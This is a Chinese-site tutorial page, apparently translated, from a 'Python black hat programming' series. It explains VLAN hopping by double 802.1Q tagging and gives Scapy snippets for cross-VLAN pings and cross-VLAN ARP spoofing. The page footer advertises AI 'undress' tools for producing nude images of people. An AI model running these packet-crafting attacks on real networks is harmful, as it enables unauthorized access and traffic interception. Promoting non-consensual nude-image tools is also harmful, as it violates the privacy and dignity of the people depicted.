Home Backend Development Python Tutorial Python black hat programming 3.4 across VLAN

Python black hat programming 3.4 across VLAN

Feb 24, 2017 pm 03:29 PM

VLAN (Virtual Local Area Network) is a virtual network built based on Ethernet interaction technology. It can not only divide the same physical network into multiple VALNs, but also cross physical network barriers and divide users in different subnets into in the same VLAN. Figure 2 is an example of VLAN division.

Python黑帽编程 3.4 跨越VLAN

Figure 2

There are many ways to implement VLAN. There are generally two types of VLAN division based on switching equipment:

l Switch-based port division

l Based on IEEE 802.1q protocol, extended Ethernet frame format

Layer 2-based VLAN Technology, there is the concept of Trunking, which is used to connect different switches to ensure that members of the same VLAN established across multiple switches can communicate with each other. The ports used for interconnection between switches are called Trunk ports. In addition to 80.2.1q, Cisco has its own Trunk protocol called ISL.

Python黑帽编程 3.4 跨越VLAN

Figure 3

Figure 3 is an 802.1q data packet, which is not essentially different from an ordinary Ethernet frame. Just add a VLAN Tag. The VLAN Identifier in the red part identifies which VLAN a data packet belongs to, thus ensuring that the range of data broadcast does not span VLANs.

Now let’s think about it briefly. If we want to communicate across VLANs, can we just modify the identifier in the data packet?

3.4.1 VLAN Hopping

Based on the above analysis, we consider a simple scenario: cross-VLAN ping, Send a ping request from a host in Vlan1 to a host in Vlan2.

Before specific coding, we still need to solve the problem of VLAN packet construction. In Scapy, we use the Dot1Q class to construct the Tag part in Figure 3. As shown in Figure 4.

Python黑帽编程 3.4 跨越VLAN

Figure 4

Now we can write a cross-VLAN ping request.

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)
Copy after login

In the above code we specify the MAC and IP address of the target host, and add two VLAN identifiers, the first one is for sending data The VLAN where the host is located, and the second one is the VLAN where the target host is located. The switch will remove the first identifier, and when it reads the second identifier, it will forward the packet to the target host.

3.4.2 Cross-VLAN ARP spoofing

3.1, 3.2 and 3.3 We are all discussing the issue of ARP spoofing. Since VLAN limits the broadcast domain, our previous code cannot perform ARP spoofing across VLANs. However, it is very simple to solve this problem. We only need to insert the VLAN identifier into the ARP spoofing data we constructed previously. The following code is the code we used to construct the ARP request packet in Section 3.1.

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
Copy after login

In the part of constructing the data packet, we insert the VLAN identifier:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
Copy after login

In this way, cross-VLAN ARP spoofing can be achieved.

3.4.3 Summary

This section mainly talks about how to construct data packets that spoof VLAN to achieve cross-VLAN Data communication and ARP spoofing purposes. It should be noted that the method in this article mainly targets the 802.1Q protocol and has no effect on VLANs that are physically isolated by ports.

The above is the detailed explanation of Python black hat programming 3.4 across VLANs introduced by the editor. I hope it will be helpful to you. If you have any questions, please leave me a message and the editor will reply in time. Ours. I would also like to thank you all for your support of the PHP Chinese website!

For more Python black hat programming 3.4 cross-VLAN related articles, please pay attention to the PHP Chinese website!


Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to solve the permissions problem encountered when viewing Python version in Linux terminal? How to solve the permissions problem encountered when viewing Python version in Linux terminal? Apr 01, 2025 pm 05:09 PM

Solution to permission issues when viewing Python version in Linux terminal When you try to view Python version in Linux terminal, enter python...

How to avoid being detected by the browser when using Fiddler Everywhere for man-in-the-middle reading? How to avoid being detected by the browser when using Fiddler Everywhere for man-in-the-middle reading? Apr 02, 2025 am 07:15 AM

How to avoid being detected when using FiddlerEverywhere for man-in-the-middle readings When you use FiddlerEverywhere...

How to efficiently copy the entire column of one DataFrame into another DataFrame with different structures in Python? How to efficiently copy the entire column of one DataFrame into another DataFrame with different structures in Python? Apr 01, 2025 pm 11:15 PM

When using Python's pandas library, how to copy whole columns between two DataFrames with different structures is a common problem. Suppose we have two Dats...

How does Uvicorn continuously listen for HTTP requests without serving_forever()? How does Uvicorn continuously listen for HTTP requests without serving_forever()? Apr 01, 2025 pm 10:51 PM

How does Uvicorn continuously listen for HTTP requests? Uvicorn is a lightweight web server based on ASGI. One of its core functions is to listen for HTTP requests and proceed...

How to teach computer novice programming basics in project and problem-driven methods within 10 hours? How to teach computer novice programming basics in project and problem-driven methods within 10 hours? Apr 02, 2025 am 07:18 AM

How to teach computer novice programming basics within 10 hours? If you only have 10 hours to teach computer novice some programming knowledge, what would you choose to teach...

How to solve permission issues when using python --version command in Linux terminal? How to solve permission issues when using python --version command in Linux terminal? Apr 02, 2025 am 06:36 AM

Using python in Linux terminal...

How to get news data bypassing Investing.com's anti-crawler mechanism? How to get news data bypassing Investing.com's anti-crawler mechanism? Apr 02, 2025 am 07:03 AM

Understanding the anti-crawling strategy of Investing.com Many people often try to crawl news data from Investing.com (https://cn.investing.com/news/latest-news)...

See all articles